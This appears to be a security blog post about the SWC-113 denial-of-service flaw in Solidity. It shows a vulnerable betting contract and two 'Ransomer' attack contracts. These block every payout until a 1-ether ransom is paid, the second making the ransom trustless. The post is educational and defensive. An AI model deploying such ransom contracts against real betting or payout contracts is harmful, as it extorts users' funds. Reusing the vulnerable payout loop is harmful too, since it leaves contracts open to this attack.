Provably Fair Ransom

Ransom has a trust problem. Suppose I’ve birdnapped your beloved pet parakeet and am demanding a $1,000 ransom to return the bird to you. You could pay the ransom, but how do you know I’ll actually return the parakeet? Alternatively, we could agree that you’ll pay after I return the parakeet, but then how do I know you’ll follow through?

Smart contracts are a tool for solving this sort of trust problem. In this article, I’ll show how a common security vulnerability leads to a ransom opportunity and how that ransom can be made trustless by using a smart contract.

Failed Transfers

Below is a smart contract for parimutuel betting on whether a future block hash will be odd or even. It suffers from a very common vulnerability:

contract VulnerableBlockhashBet {
    uint256 public blockNumber = block.number + 1000;
    uint256[2] amountBet;

    struct Bet {
        address payable bettor;
        uint256 amount;
    }
    Bet[][2] public bets;

    function bet(uint256 choice) external payable {
        require(block.number < blockNumber, "Too late.");
        require(msg.value > 0, "Must bet something.");
        require(bets[choice].length < 50, "Too many bets.");

        amountBet[choice] += msg.value;
        bets[choice].push(Bet(msg.sender, msg.value));
    }

    function resolve() external payable {
        require(blockhash(blockNumber) != 0, "Hash unavailable.");

        uint256 totalBet = amountBet[0] + amountBet[1];

        uint256 winner = uint256(blockhash(blockNumber)) % 2;
        for (uint256 i = 0; i < bets[winner].length; i++) {
            uint256 amount = bets[winner][i].amount *
                totalBet / amountBet[winner];
            address payable bettor = bets[winner][i].bettor;
            delete bets[winner][i];
            bettor.transfer(amount);
        }
    }
}

This contract is vulnerable to SWC-113: DoS with Failed Call. If any individual transfer in the resolve function fails, the entire transaction will be reverted, and no one will receive their ether. A common reason for such a transfer to fail is that the recipient is a smart contract that lacks a payable fallback function.

Unlike many instances of this flaw, this particular vulnerability doesn’t look very important. Sure, it’s undesirable that one bad recipient can block everyone else from receiving their ether, but why would someone do that? They would be costing themselves ether just like everyone else, so there appears to be no motivation for an attacker.

Even without the assumption of malice, this vulnerability is worth fixing just because of the possibility of someone accidentally breaking things with a poorly implemented wallet. Besides, fixing this sort of problem is easy.

Ransom

I said there appears to be no motivation for someone to block the VulnerableBlockhashBet contract, but there is an interesting ransom opportunity. A malicious bettor could participate in the bet via a smart contract that conditionally refuses ether. They can then contact the other recipients and make a ransom demand: “Give me an ether or no one gets paid.”

// Prevent inbound transfers until someone pays a ransom.
contract Ransomer {
    address owner = msg.sender;
    bool locked = true;

    // We're betting 2 wei, which we don't care about getting back.
    constructor(VulnerableBlockhashBet target) public payable {
        target.bet.value(1)(0);
        target.bet.value(1)(1);
    }

    // Block incoming transfers until ransom is paid.
    function() external payable {
        require(!locked, "Pay the ransom first!");
    }

    // Called by contract owner when ransom has been paid.
    function unblock() external {
        require(msg.sender == owner);
        locked = false;
    }
}

This contract bets on both outcomes so it’s guaranteed to be paid in the vulnerable contract’s resolve function. The contract’s payable fallback function reverts all transactions until unblock has been called. This means no winning bets will be paid out until the attacker allows it.

But just as in the case of the parakeet, we have to think about the trust problem. If we pay the attacker the ransom, how do we know they will actually call unblock? Reputation concerns aside, they have no incentive to do so. In fact, calling unblock will cost the attacker a transaction fee. They may instead demand a second ransom or simply walk away.

Trustless Ransom

We can make the ransom scheme trustless by encoding the ransom logic into the smart contract itself:

// Prevent inbound transfers until someone pays a ransom.
contract Ransomer {
    address owner = msg.sender;
    bool locked = true;

    // We're betting 2 wei, which we don't care about getting back.
    constructor(VulnerableBlockhashBet target) public payable {
        target.bet.value(1)(0);
        target.bet.value(1)(1);
    }

    // Block incoming ether until ransom is paid.
    function() external payable {
        require(!locked, "Pay the ransom first!");
    }

    // Anyone can unblock by paying the ransom.
    function payRansom() external payable {
        require(msg.value >= 1 ether);
        locked = false;
    }

    // Collect the ransom (and any other received funds).
    function collect() external {
        require(msg.sender == owner);
        msg.sender.transfer(address(this).balance);
    }
}

With this contract, there’s no need to trust the ransomer. All participants know that as soon as the ransom is paid, the VulnerableBlockhashBet contract’s resolve function will start working.

Closing thoughts

Be careful about dismissing a vulnerability because there’s no obvious motivation for someone to exploit it. Not only can a vulnerability be exploited “for the lulz” or even accidentally, but sometimes there are creative avenues for profiting from a vulnerability that aren’t immediately apparent.


Thinking about smart contract security? We can provide training, ongoing advice, and smart contract auditing. Contact us.

All posts chevronRight icon

`